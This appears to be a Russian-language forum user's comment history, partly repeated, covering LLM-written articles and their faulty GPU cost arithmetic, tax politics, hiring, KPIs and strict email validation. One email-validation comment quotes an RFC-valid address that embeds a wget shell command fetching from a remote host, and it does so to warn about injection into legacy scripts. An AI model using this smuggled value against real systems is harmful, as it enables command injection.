Я бы поверил, если бы там сходилась элементарная арифметика.
Вы пишете: "запустим qwen на 397B параметров". QWEN даже на A100(я уже не говорю про 4090) даёт 7(семь) токенов в секунду. Для думающих запросов, которые токены тратят сотнями тысяч, это означает время выполнения >= 10 часов.
Это ломает любые аргументы про "зачем платить за проприетарный API" — у любого человека, которому релевантно использование LLM, рабочий день стоит дороже одного доллара, который облачный провайдер попросит за инференс в таком объёме.
Люди не делают такие ошибки. Если бы вы реально что-то запускали или хотя бы ресёрчилии тему, в статье и был бы текст "локально запускать без миллиона долларов смысла нет, т.к. инференс занимает вечность". LLM же шпарит, не думая — получается такой нейрослоп.
маппинг на роли
анализ 30+ моделей по 12 бенчмаркам
это ручная работа
Игнат, у вас есть таблица "роли", где есть роли "Оркестратор", "Критик" и "Consumer GPU". AI в приступе слопофазии смешал заявленные роли и железо, на котором должны выполняться модели. Я повторю ещё раз: люди не делают такие ошибки. Кого и зачем вы пытаетесь обмануть?
И вообще, спросить LLM и скопипастить выхлоп, как несложно заметить в diff того самого коммита — это не анализ:
-# Agent Factory: Open-Source Model Selection Guide
-
-> **Date:** March 2026
-> **Goal:** Map the best open-weight LLM to each agent role, optimizing for GPU-usage / Effectiveness / Quality.
-> **Constraint:** All models must have open weights on HuggingFace. No proprietary APIs.
Вы спросили нейросеть, она выдала вам слопа, вы его кидаете в лицо читателям и пытаетесь отрицать, когда вам на это указывают.
Я не желаю читать не верифицированный нейрослоп в свободное время — мне хватает на работе того, что я бью палкой разработчиков, которые вместо того, чтобы сделать свою работу и нормально подготовить пулл-реквест, пусть и с помощью AI, просто присылают выхлоп нейронки в виде PR и ожидают, что ревьюер будет писать десятки комментариев, которые они потом скопипастят в чат. Это элементарное оскорбление читателя: промтер берёт шланг и начинает того поливать нейронным дерьмом, которое сам не удосужился даже прочитать.
Сама статья — слоп на слопе и слопом погоняет, что видно не только по характерному стилю и пунктуации(что забавно выглядит в комментарии, где я набираю тире через wincompose), но и тупейшим глюкам от заканчивающегося контекста и неспособности LLM считать.
Например, текст начинается с обещания:
. Минимальный сетап — 24 GB VRAM (одна RTX 4090).
Доходим до деплоя:
Развёртывание: от домашнего GPU до продакшена
5 агентов, 3 модели, 24 GB VRAM:
1x GPU (80 GB)
~56 GB (KV cache + headroom)
Да, 24 гигабайта. RTX 4090. Пять агентов, которые принимают запрос, проектируют, пишут код, тестируют и отдают результат. На видеокарте из игрового компьютера.
Ммм, идея статьи пала жертвой нейронного склероза, вызванного потерей контекста.
Ладно, предположим, что "автор"(промптер гейронки, whatever) опечатался. Взглянем на расчёты цен, которые сложно провалить, закончив хотя бы начальную школу, а не дорастя до PhD, как написано в профиле:
При API-ценах (допустим, $3/M input + $15/M output для frontier-модели) один сложный запрос обходится в $0.50-2.00. При 1000 запросах в день — $500-2000/день. На своём железе — фиксированная стоимость GPU.
Автор, значит, собрался тратить 35-130 миллионов токенов в день, если я ещё могу разделить ожидаемые расходы на цену токенов. В своей схеме он, напомню, собирается использовать RTX 4090 или кластер A100, чтобы запускать QWEN на 397B. Эта редакция qwen выдаёт 50 токенов в секунду на зверь-машине с четырьмя RTX PRO 6000(~$8000 за каждую карту, т.е. сервер общей ценой около $40k), если верить реддиту.
Опять же, учимся делить и умножать: машина на RTX 6000 может производить 50 токенов в секунду * 86400 секунд в дне = 4.3 миллиона токенов в сутки, даже если мы игнорируем тот факт, что загрузка нелинейная, а пользователи не будут ждать часами в очереди, и берём теоретический максимум. Для 130 миллионов токенов в день надо 40 таких машин($1.6 миллиона чистых расходов на серверы). Если мы используем на сервере по одной консумерской карточке(та самая 4090 из параграфа выше), которая свопает модель в RAM, то производительность на каждой машине можно делить на двадцать — тут уже нужен небольшой датацентр при таком раскладе, который всё ещё стоил бы под миллион долларов даже без санкционных ограничений на ввоз видеокарт.
То есть, автор со всей нейронной непосредственностью предлагает сделать миллион-два долларов(очевидно, нашёл их случайно в кармане лёгкой куртки, надев её впервые с осени) фиксированных затрат, чтобы получить минимальную окупаемость системы, не считая затрат на размещение, в 3+ года(как раз примерно срок службы карточек).
Я думаю, что очень смешно видеть очередной пост против АИ-пузыря в блоге сервиса, являющегося его частью. Вашему руководству и владельцам бы показать этот пост, чтобы СММщика за распространение предложения их обложить ещё большими налогами выгнали на мороз.
Согласны ли вы с анализом автора?
Тут нет анализа — это очередной левацкий нахрюк по стандартному шаблону: "происходит $любое_явление — давайте возьмём и поделим деньги богатых".
Глобальный минимальный налог сделал бы налоговые гавани невыгодными. Если бы он был введён, Big Tech не копил бы свои богатства, а был бы стимулирован инвестировать в реальный рост.
В какой реальный рост? Вот они инвестируют в ИИ, который считают потенциально прибыльным, но автору почему-то не нравится.
налог на богатство - например, ежегодный 2%-ный налог на активы свыше 50 миллионов долларов - мог бы предотвратить этот беспорядок. Он бы заставил руководителей Big Tech платить справедливую долю и стимулировал бы их сосредоточиться на долгосрочном росте, а не на краткосрочных рискованных играх вроде пузыря
Каким образом он бы их заставил это делать? Средний руководитель имеет большую часть компенсации в виде RSU и бонусов, привязанных к капитализации компании, как одному из важнейших KPI. Каким образом бы его не грабили, он заинтересован увеличивать стоимость компании и зарабатывать деньги.
они всё равно не собираются возвращать кредиты, взятые под залог раздутых акций
Акции большинства АИ-компаний доступны на бирже. Купите акции, возьмите в долг у банка, использовав их в качестве залога и попробуйте не внести ежемесячный платёж — я с большим интересом посмотрю.
N лет назад искал новую работу. Походил месяц по разным собесам, в финале остался Яндекс и конкурирующий бигтех. Последние оказались расторопнее и быстро сделали хороший оффер. Я решил торгануться, принёс цифры в Яндекс: "у меня в $конкурент есть оффер на $x в месяц, $y сайнап и $z RSU, но в ваш бизнес верю больше -- если сматчите, то выберу вас". HR прочёл и назначил встречу с руководителем отдела, где они час рассказывали, как у них круто работать, а потом предложили на сто тысяч в месяц меньше и обязательный переезд в МСК.
Мой отказ участников встречи невероятно удивил, ведь ради большой чести работать в их свитшопе стоит огромная очередь за забром. Яндексовый рекрутер потом ещё два дня подряд в личку писал, выдавая перлы в духе "всех денег не заработаешь", "в $конкурент, возможно, более высокая компенсация, но у нас очень сильные возможности развития", а потом оставил пропущенный звонок в час ночи.
«В 2035-м тот самый выпускник, если вообще кто‑то ещё будет ходить в университет, вполне может отправиться в миссию по исследованию Солнечной системы — на космическом корабле, с совершенно новой, захватывающей, высокооплачиваемой и безумно интересной работой.
Вот эти миссии уже давно монополизированы роботами.
как себя почувствует шестьдесятдвухлетний,
Шестидесятидвухлетний досидит оставшиеся пять лет, за которые обещают захват мест AI, и выйдет на пенсию в 67 по законам США, где рабочие места перестанут быть для него такой острой проблемой. Свежий же выпускник американского вуза рискует обнаружить себя с долгом за обучение, который нечем выплачивать без работы.
Они могут вообще распечатывать ваш xml и прогонять через OCR
Вы не поверите, но такое тоже есть. У нас один из партнёров не всегда консистентные данные между XML и PDF-кой договора присылает, так что мы парсим PDF для валидации, и ничего, не жужжим. Причём эта контора активами на триллионы долларов управляет и не работать с ними нереально — когда ОП пишет про прошаренных чуваков, отказывающихся от услуг, когда видят валидацию не по RFC, сразу ясно, что в серьёзном бизнесе не работал.
Ну так-то отвалиться может что угодно.
Может, так что не надо обострять ситуацию, собирая эджкейсы.
Я расскажу страшную историю: у нас недавно отвалилась интеграция с одним из партнеров. Они интегрируются по стандартизированному SOAP, принимая не менее стандартизированный MISMO-документ, для которого есть DTD, по которому можно собрать десериализацию с нулём ручного кода. Казалось бы, что может пойти не так?
Выяснилось, что у партнёра не реализован SOAP на самом деле — они принимают сырое тело SOAP-запроса и парсят через поиск подстрок, не используя даже стандартный XML-парсер. Предсказуемо, оно развалилось, когда мы им новое поле, включённое в стандарт, стали отправлять.
Именно из-за таких историй надо бить линейкой по пальцам за попытки разрешить пользователям использовать полный стадарт RFC на почты, телефоны по E.164 с поддержкой допномеров, юникод в полях, которые для него не предусмотрены и подобного — даже самая современная система опирается на огромный карточный домик существующего легаси из говна и палок, который разваливается, если попытаться затолкать в него хоть что-то нестандартное.
Как раз потому, что соответствие RFC — это не желаемый эффект и предпочтительные правила валидации жёстче из-за сторонних ограничений. root@localhost — валидный имейл по RFC, но пропускать его вы не хотите почти никогда.
одно для логина другое - для отправки писем Проблема решена.
Рано. У вас теперь два поля для PII masking в логах, анонимизации для стейджа, интеграций с партнёрами. Это набор источников для интереснейших багов.
Больше того, у вас часто в системе много мест, куда можно засунуть почту — вам придётся поддерживать это везде, чтобы избежать конфузов вида: "у организации не была привязана почта, так что произошёл фоллбек на отправку письма пользователю-руководителю, но он отвалился, потому его личный адрес не прошел валидацию".
шарящих ребят кривая валидация - это как красная тряпка
Опять же, какое пресечение этих ребят с красными тряпками и decision makers?
Винить RFC в том, что твой древний баш-скрипт можно взломать
Проблема в том, что он как раз не мой — это обычно какая-то вендорская система, к которой есть доступ по API. В глубинах систем может быть IBM'овский мейнфрейм с семибитной кодировкой, который подавится юникодным имейлом, если его не канонизировать; На другом интеграции конце может быть asp.net framework приложение, которое режет запросы, когда видит в нем что-то похожее на csrf. Я пишу код для большого американского банка и там такие приколы на каждом шагу.
Вокруг множество хрупких систем, и пускать к себе на вход только чистые данные — валидная стратегия, если вы не хотите потом ругаться с полусотней вендоров, которые не принимают ваши запросы, потому что их реализация кривая. Lowest common denominator никогда не подводит.
Любые данные от юзера надо экранировать перед использованием. Всегда.
Давайте учиться читать:
когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
С вашей стороны всё может быть прекрасно, но ломается оно в чужом коде. Удачи править приложение, написанное на смеси C, древнего диалекта лиспа и, почему-то, D(у нас такое реально есть. Вендор-аутсорсер просто конченный), которое дергает другие команды, но не справляется с экранированием.
Внедрите нормализацию. Перед проверкой уникальности и сохранением в БД приводите email к каноническому виду. Это решит проблему с дублированием аккаунтов.
Так вы определитесь, как пользователь: вы хотите, чтобы у вас аккаунт был привязан к основному email или к алиасу? Если к алиасу, то система должна оригинальный email хранить, чтобы на него письма слать, как минимум, так что о нормализации речи быть не может. Если в канонической форме, то и плюсы всякие можно блокировать спокойно — в канонической форме из быть не может.
Представим, что ваш сервис разрешил регистрацию на user+test1@gmail.com. Что произойдет, если тот же пользователь попытается зарегистрироваться на user+test2@gmail.com
Ну, то есть, мы сначала разрешили регистрацию с email в неканонический форме, придумав себе проблему на ровном месте, а потом героически её решаем?
это ваша упущенная прибыль или потерянный лид
Сколько реальных пользователей пользуются этим функционалом и уйдут без него? Сколько денег приносят эти пользователи?
Про калечный регекс можно вообще много рассуждать. Как-то читал статью по валидацию почт от Райана Кастелуччи, у которого есть доступный(я написал ему туда письмо и получил ответ) email
`wget${ifs}r.vc/ghe`@ryanc.org
Он соответствует RFC, но пропускать такие адреса — это хитрый способ выстрелить себе в ногу в моменте, когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
Ещё и контролы глючные. У меня половина оценок свойственно/не свойственно проставилась в случайные значения во время скролла, а поменять результаты нельзя.
Теперь для каждого gui, собирающего командную строку для нижележащего инструмента, чтобы использовать одну из его функций, будет новость, состоящая из перевода README?
Если мы говорим про KPI, то какой KPI на внедрение / эксплуатацию этой системы?
У меня есть лёгкое подозрение, что значение, пересчитанное в конкретные единицы валюты, у неё отрицательное за счёт вливания ресурсов в разработку, реальную производительность людей она не повышает и только тешит эго микроменеджера, продавившего внедрение. Причина достаточно проста: любая нетривиальная работа
опирается на внешние параметры, не зависящие от сотрудника(меняющиеся бизнес-требования у задач для разработчиков, экономическая ситуация у продажников, физические аварии у опсов, etc)
имеет неограниченный потенциал для срезания углов для выкручивания конкретных метрик(например, саппорт может выкидывать сложные тикеты, чтобы сохранить SLA)
имеет возможности для накручивания метрик(например, разработчик может себе создавать / требовать по десять задач на каждый чих, вроде исправления сломавшегося дэшборда в графане)
Как результат, нормальные конторы проводят ревью раз в год / полугодие / квартал и могут кикнуть людей, отлынивающих от работы, что в большинстве случаев происходит на испытательном сроке, где нет юридического барьера, а не собирают бесконечное синтетических метрик, отражающих погоду на Марсе.
Я бы поверил, если бы там сходилась элементарная арифметика.
Вы пишете: "запустим qwen на 397B параметров". QWEN даже на A100(я уже не говорю про 4090) даёт 7(семь) токенов в секунду. Для думающих запросов, которые токены тратят сотнями тысяч, это означает время выполнения >= 10 часов.
Это ломает любые аргументы про "зачем платить за проприетарный API" — у любого человека, которому релевантно использование LLM, рабочий день стоит дороже одного доллара, который облачный провайдер попросит за инференс в таком объёме.
Люди не делают такие ошибки. Если бы вы реально что-то запускали или хотя бы ресёрчилии тему, в статье и был бы текст "локально запускать без миллиона долларов смысла нет, т.к. инференс занимает вечность". LLM же шпарит, не думая — получается такой нейрослоп.
Игнат, у вас есть таблица "роли", где есть роли "Оркестратор", "Критик" и "Consumer GPU". AI в приступе слопофазии смешал заявленные роли и железо, на котором должны выполняться модели. Я повторю ещё раз: люди не делают такие ошибки. Кого и зачем вы пытаетесь обмануть?
И вообще, спросить LLM и скопипастить выхлоп, как несложно заметить в diff того самого коммита — это не анализ:
Вы спросили нейросеть, она выдала вам слопа, вы его кидаете в лицо читателям и пытаетесь отрицать, когда вам на это указывают.
Я не желаю читать не верифицированный нейрослоп в свободное время — мне хватает на работе того, что я бью палкой разработчиков, которые вместо того, чтобы сделать свою работу и нормально подготовить пулл-реквест, пусть и с помощью AI, просто присылают выхлоп нейронки в виде PR и ожидают, что ревьюер будет писать десятки комментариев, которые они потом скопипастят в чат. Это элементарное оскорбление читателя: промтер берёт шланг и начинает того поливать нейронным дерьмом, которое сам не удосужился даже прочитать.
Слоп-статья со ссылкой на слоп-визуализацию фантазии на тему слопа.
То есть, серьёзно, я взял первую ссылку — там навайбанный дизайн со статическими данными. Открыл гитхаб — там даже в теории нет ничего, кроме статики, зато красивые логи бегут и есть коммит, зачем-то стыдливо удаляющий MD-файлы от Claude, из которых собран этот слоп-пост.
Сама статья — слоп на слопе и слопом погоняет, что видно не только по характерному стилю и пунктуации(что забавно выглядит в комментарии, где я набираю тире через wincompose), но и тупейшим глюкам от заканчивающегося контекста и неспособности LLM считать.
Например, текст начинается с обещания:
Доходим до деплоя:
Ммм, идея статьи пала жертвой нейронного склероза, вызванного потерей контекста.
Ладно, предположим, что "автор"(промптер гейронки, whatever) опечатался. Взглянем на расчёты цен, которые сложно провалить, закончив хотя бы начальную школу, а не дорастя до PhD, как написано в профиле:
Автор, значит, собрался тратить 35-130 миллионов токенов в день, если я ещё могу разделить ожидаемые расходы на цену токенов. В своей схеме он, напомню, собирается использовать RTX 4090 или кластер A100, чтобы запускать QWEN на 397B. Эта редакция qwen выдаёт 50 токенов в секунду на зверь-машине с четырьмя RTX PRO 6000(~$8000 за каждую карту, т.е. сервер общей ценой около $40k), если верить реддиту.
Опять же, учимся делить и умножать: машина на RTX 6000 может производить 50 токенов в секунду * 86400 секунд в дне = 4.3 миллиона токенов в сутки, даже если мы игнорируем тот факт, что загрузка нелинейная, а пользователи не будут ждать часами в очереди, и берём теоретический максимум. Для 130 миллионов токенов в день надо 40 таких машин($1.6 миллиона чистых расходов на серверы). Если мы используем на сервере по одной консумерской карточке(та самая 4090 из параграфа выше), которая свопает модель в RAM, то производительность на каждой машине можно делить на двадцать — тут уже нужен небольшой датацентр при таком раскладе, который всё ещё стоил бы под миллион долларов даже без санкционных ограничений на ввоз видеокарт.
То есть, автор со всей нейронной непосредственностью предлагает сделать миллион-два долларов(очевидно, нашёл их случайно в кармане лёгкой куртки, надев её впервые с осени) фиксированных затрат, чтобы получить минимальную окупаемость системы, не считая затрат на размещение, в 3+ года(как раз примерно срок службы карточек).
Я за бан.
Я думаю, что очень смешно видеть очередной пост против АИ-пузыря в блоге сервиса, являющегося его частью. Вашему руководству и владельцам бы показать этот пост, чтобы СММщика за распространение предложения их обложить ещё большими налогами выгнали на мороз.
Тут нет анализа — это очередной левацкий нахрюк по стандартному шаблону: "происходит $любое_явление — давайте возьмём и поделим деньги богатых".
В какой реальный рост? Вот они инвестируют в ИИ, который считают потенциально прибыльным, но автору почему-то не нравится.
Каким образом он бы их заставил это делать? Средний руководитель имеет большую часть компенсации в виде RSU и бонусов, привязанных к капитализации компании, как одному из важнейших KPI. Каким образом бы его не грабили, он заинтересован увеличивать стоимость компании и зарабатывать деньги.
Акции большинства АИ-компаний доступны на бирже. Купите акции, возьмите в долг у банка, использовав их в качестве залога и попробуйте не внести ежемесячный платёж — я с большим интересом посмотрю.
N лет назад искал новую работу. Походил месяц по разным собесам, в финале остался Яндекс и конкурирующий бигтех. Последние оказались расторопнее и быстро сделали хороший оффер. Я решил торгануться, принёс цифры в Яндекс: "у меня в $конкурент есть оффер на $x в месяц, $y сайнап и $z RSU, но в ваш бизнес верю больше -- если сматчите, то выберу вас". HR прочёл и назначил встречу с руководителем отдела, где они час рассказывали, как у них круто работать, а потом предложили на сто тысяч в месяц меньше и обязательный переезд в МСК.
Мой отказ участников встречи невероятно удивил, ведь ради большой чести работать в их свитшопе стоит огромная очередь за забром. Яндексовый рекрутер потом ещё два дня подряд в личку писал, выдавая перлы в духе "всех денег не заработаешь", "в $конкурент, возможно, более высокая компенсация, но у нас очень сильные возможности развития", а потом оставил пропущенный звонок в час ночи.
P/S > 30 для сервиса с отрицательной юнит-экономикой? Инвесторы не пожалеют.
Вот эти миссии уже давно монополизированы роботами.
Шестидесятидвухлетний досидит оставшиеся пять лет, за которые обещают захват мест AI, и выйдет на пенсию в 67 по законам США, где рабочие места перестанут быть для него такой острой проблемой. Свежий же выпускник американского вуза рискует обнаружить себя с долгом за обучение, который нечем выплачивать без работы.
Для решения этой проблемы надо смотреть в сторону смены провайдера не VPN, но госуслуг.
Вы не поверите, но такое тоже есть. У нас один из партнёров не всегда консистентные данные между XML и PDF-кой договора присылает, так что мы парсим PDF для валидации, и ничего, не жужжим. Причём эта контора активами на триллионы долларов управляет и не работать с ними нереально — когда ОП пишет про прошаренных чуваков, отказывающихся от услуг, когда видят валидацию не по RFC, сразу ясно, что в серьёзном бизнесе не работал.
Может, так что не надо обострять ситуацию, собирая эджкейсы.
Партнеры хотят сырой имейл, а не ID / хэш.
Я расскажу страшную историю: у нас недавно отвалилась интеграция с одним из партнеров. Они интегрируются по стандартизированному SOAP, принимая не менее стандартизированный MISMO-документ, для которого есть DTD, по которому можно собрать десериализацию с нулём ручного кода. Казалось бы, что может пойти не так?
Выяснилось, что у партнёра не реализован SOAP на самом деле — они принимают сырое тело SOAP-запроса и парсят через поиск подстрок, не используя даже стандартный XML-парсер. Предсказуемо, оно развалилось, когда мы им новое поле, включённое в стандарт, стали отправлять.
Именно из-за таких историй надо бить линейкой по пальцам за попытки разрешить пользователям использовать полный стадарт RFC на почты, телефоны по E.164 с поддержкой допномеров, юникод в полях, которые для него не предусмотрены и подобного — даже самая современная система опирается на огромный карточный домик существующего легаси из говна и палок, который разваливается, если попытаться затолкать в него хоть что-то нестандартное.
Как раз потому, что соответствие RFC — это не желаемый эффект и предпочтительные правила валидации жёстче из-за сторонних ограничений.
root@localhost— валидный имейл по RFC, но пропускать его вы не хотите почти никогда.Рано. У вас теперь два поля для PII masking в логах, анонимизации для стейджа, интеграций с партнёрами. Это набор источников для интереснейших багов.
Больше того, у вас часто в системе много мест, куда можно засунуть почту — вам придётся поддерживать это везде, чтобы избежать конфузов вида: "у организации не была привязана почта, так что произошёл фоллбек на отправку письма пользователю-руководителю, но он отвалился, потому его личный адрес не прошел валидацию".
Опять же, какое пресечение этих ребят с красными тряпками и decision makers?
Проблема в том, что он как раз не мой — это обычно какая-то вендорская система, к которой есть доступ по API. В глубинах систем может быть IBM'овский мейнфрейм с семибитной кодировкой, который подавится юникодным имейлом, если его не канонизировать; На другом интеграции конце может быть asp.net framework приложение, которое режет запросы, когда видит в нем что-то похожее на csrf. Я пишу код для большого американского банка и там такие приколы на каждом шагу.
Вокруг множество хрупких систем, и пускать к себе на вход только чистые данные — валидная стратегия, если вы не хотите потом ругаться с полусотней вендоров, которые не принимают ваши запросы, потому что их реализация кривая. Lowest common denominator никогда не подводит.
Давайте учиться читать:
С вашей стороны всё может быть прекрасно, но ломается оно в чужом коде. Удачи править приложение, написанное на смеси C, древнего диалекта лиспа и, почему-то, D(у нас такое реально есть. Вендор-аутсорсер просто конченный), которое дергает другие команды, но не справляется с экранированием.
Так вы определитесь, как пользователь: вы хотите, чтобы у вас аккаунт был привязан к основному email или к алиасу? Если к алиасу, то система должна оригинальный email хранить, чтобы на него письма слать, как минимум, так что о нормализации речи быть не может. Если в канонической форме, то и плюсы всякие можно блокировать спокойно — в канонической форме из быть не может.
Ну, то есть, мы сначала разрешили регистрацию с email в неканонический форме, придумав себе проблему на ровном месте, а потом героически её решаем?
Сколько реальных пользователей пользуются этим функционалом и уйдут без него? Сколько денег приносят эти пользователи?
Про калечный регекс можно вообще много рассуждать. Как-то читал статью по валидацию почт от Райана Кастелуччи, у которого есть доступный(я написал ему туда письмо и получил ответ) email
Он соответствует RFC, но пропускать такие адреса — это хитрый способ выстрелить себе в ногу в моменте, когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.
Ещё и контролы глючные. У меня половина оценок свойственно/не свойственно проставилась в случайные значения во время скролла, а поменять результаты нельзя.
На окладе 300-500 очень часто задачи — чистить Авгиевы конюшни, про которые писать-то стыдно.
Сам разгребаю сорокалетнее легаси, написанное реднеками-шизофрениками, за верх этой вилки.
Запрещено, но местами и дальше шли.
Когда я там работал, в моём проекте были вообще только хранимые процедуры на каждый селект.
Теперь для каждого gui, собирающего командную строку для нижележащего инструмента, чтобы использовать одну из его функций, будет новость, состоящая из перевода README?
https://lleo.me/arhive/humor/maslo.shtml
Если мы говорим про KPI, то какой KPI на внедрение / эксплуатацию этой системы?
У меня есть лёгкое подозрение, что значение, пересчитанное в конкретные единицы валюты, у неё отрицательное за счёт вливания ресурсов в разработку, реальную производительность людей она не повышает и только тешит эго микроменеджера, продавившего внедрение. Причина достаточно проста: любая нетривиальная работа
опирается на внешние параметры, не зависящие от сотрудника(меняющиеся бизнес-требования у задач для разработчиков, экономическая ситуация у продажников, физические аварии у опсов, etc)
имеет неограниченный потенциал для срезания углов для выкручивания конкретных метрик(например, саппорт может выкидывать сложные тикеты, чтобы сохранить SLA)
имеет возможности для накручивания метрик(например, разработчик может себе создавать / требовать по десять задач на каждый чих, вроде исправления сломавшегося дэшборда в графане)
Как результат, нормальные конторы проводят ревью раз в год / полугодие / квартал и могут кикнуть людей, отлынивающих от работы, что в большинстве случаев происходит на испытательном сроке, где нет юридического барьера, а не собирают бесконечное синтетических метрик, отражающих погоду на Марсе.
Сорс? Это один банкомат на 20 человек, включая младенцев и жителей стран третьего мира, что выглядит подозрительно.
Гугл мне подсказывает, что их примерно в 150 раз меньше, но, вероятно, он галлюцинирует.
tl;dr: регулярки в сишном движке быстрее любого кода, написанного на интерпретируемом недоязыке.
Скорее всего, даже не биткарта, а какой-нибудь трюк с avx512, чтобы сканировать 64 байта за такт. SIMDJSON это для парсинга JSON использует.